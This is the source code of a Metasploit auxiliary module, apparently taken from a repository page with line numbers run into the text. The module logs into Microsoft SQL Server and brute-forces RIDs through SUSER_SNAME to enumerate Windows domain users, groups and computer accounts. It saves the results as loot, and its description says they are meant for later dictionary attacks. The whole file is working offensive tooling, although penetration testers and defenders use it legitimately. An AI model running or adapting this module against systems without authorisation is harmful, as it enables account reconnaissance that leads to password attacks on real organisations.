Path: blob/master/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',14'Description' => %q{15This module can be used to bruteforce RIDs associated with the domain of the SQL Server16using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed17through SQL Server queries as any user with the PUBLIC role (everyone). Information that18can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated19accounts can then be used in online dictionary attacks.20},21'Author' => [22'nullbind <scott.sutherland[at]netspi.com>',23'antti <antti.rantasaari[at]netspi.com>'24],25'License' => MSF_LICENSE,26'References' => [[ 'URL', 'https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']],27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [IOC_IN_LOGS],30'Reliability' => []31}32)33)3435register_options(36[37OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10_000]),38]39)40end4142def run43# Check connection and issue initial query44print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")4546unless mssql_login_datastore47print_error('Login was unsuccessful. Check your credentials.')48disconnect49return50end5152print_good('Connected.')5354# Get the server name55sql_server_name = get_sql_server_name56print_status("SQL Server Name: #{sql_server_name}")5758# Get the domain name59sql_server_domain = get_windows_domain60if sql_server_domain.nil?61print_error("Could not recover the SQL Server's domain.")62disconnect63return64end6566print_status("Domain Name: #{sql_server_domain}")6768# Check if the domain and hostname are the same69if sql_server_name == sql_server_domain70print_error('The SQL Server does not appear to be part of a Windows domain.')71disconnect72return73end7475# Get the base sid for the domain76windows_domain_sid = get_windows_domain_sid(sql_server_domain)77if windows_domain_sid.nil?78print_error("Could not recover the SQL Server's domain sid.")79disconnect80return81end8283print_good("Found the domain sid: #{windows_domain_sid}")8485# Get a list of windows users, groups, and computer accounts using SUSER_NAME()86print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")87win_domain_user_list = get_win_domain_users(windows_domain_sid)8889disconnect9091if win_domain_user_list.nil? || win_domain_user_list.empty?92print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.')93return94end9596# Print number of objects found and write to a file97print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.")9899win_domain_user_list.sort.each do |windows_login|100vprint_status(" - #{windows_login}")101end102103# Create table for report104windows_domain_login_table = Rex::Text::Table.new(105'Header' => 'Windows Domain Accounts',106'Ident' => 1,107'Columns' => ['name']108)109110# Add brute forced names to table111win_domain_user_list.each do |object_name|112windows_domain_login_table << [object_name]113end114115# Create output file116this_service = report_service(117host: mssql_client.peerhost,118port: mssql_client.peerport,119name: 'mssql',120proto: 'tcp'121)122file_name = "#{mssql_client.peerhost}-#{mssql_client.peerport}_windows_domain_accounts.csv"123path = store_loot(124'mssql.domain.accounts',125'text/plain',126mssql_client.peerhost,127windows_domain_login_table.to_csv,128file_name,129'Domain Users enumerated through SQL Server',130this_service131)132print_status("Query results have been saved to: #{path}")133end134135# Get list of windows accounts,groups,and computer accounts136def get_win_domain_users(windows_domain_sid)137# Create array to store the windws accounts etc138windows_logins = []139140# Fuzz the principal_id parameter passed to the SUSER_NAME function141(500..datastore['FuzzNum']).each do |principal_id|142# Convert number to hex and fix order143principal_id_hex = '%02X' % principal_id144principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ('0' + principal_id_hex))145principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join146147# Add padding148principal_id_hex_padded2 = principal_id_clean.ljust(8, '0')149150# Create full sid151win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}"152153# Return if sid does not resolve correctly for a domain154if win_sid.length < 48155return nil156end157158# Setup query159sql = "SELECT SUSER_SNAME(#{win_sid}) as name"160161# Execute query162result = mssql_query(sql)163164# Parse results165parse_results = result[:rows]166windows_login = parse_results[0][0]167168# Print account,group,or computer account etc169if !windows_login.empty?170print_status(" - #{windows_login}")171172vprint_status("Test sid: #{win_sid}")173end174175# Add to windows domain object list176windows_logins.push(windows_login) unless windows_logins.include?(windows_login)177end178179# Return list of logins180windows_logins181end182183# Get windows domain184def get_windows_domain185# Setup query to check the domain186sql = 'SELECT DEFAULT_DOMAIN() as mydomain'187188# Run query189result = mssql_query(sql)190191# Parse query results192parse_results = result[:rows]193sql_server_domain = parse_results[0][0]194195# Return domain196sql_server_domain197end198199# Get the sql server's hostname200def get_sql_server_name201# Setup query to check the server name202sql = 'SELECT @@servername'203204# Run query205result = mssql_query(sql)206207# Parse query results208parse_results = result[:rows]209sql_instance_name = parse_results[0][0]210sql_server_name = sql_instance_name.split('\\')[0]211212# Return servername213sql_server_name214end215216# Get windows domain217def get_windows_domain_sid(sql_server_domain)218# Set group219domain_group = "#{sql_server_domain}\\Domain Admins"220221# Setup query to check the Domain SID222sql = "select SUSER_SID('#{domain_group}') as dasid"223224# Run query225result = mssql_query(sql)226227# Parse query results228parse_results = result[:rows]229object_sid = parse_results[0][0]230domain_sid = object_sid[0..47]231232# Return if sid does not resolve for a domain233if domain_sid.empty?234return nil235end236237# Return domain sid238domain_sid239end240end241242243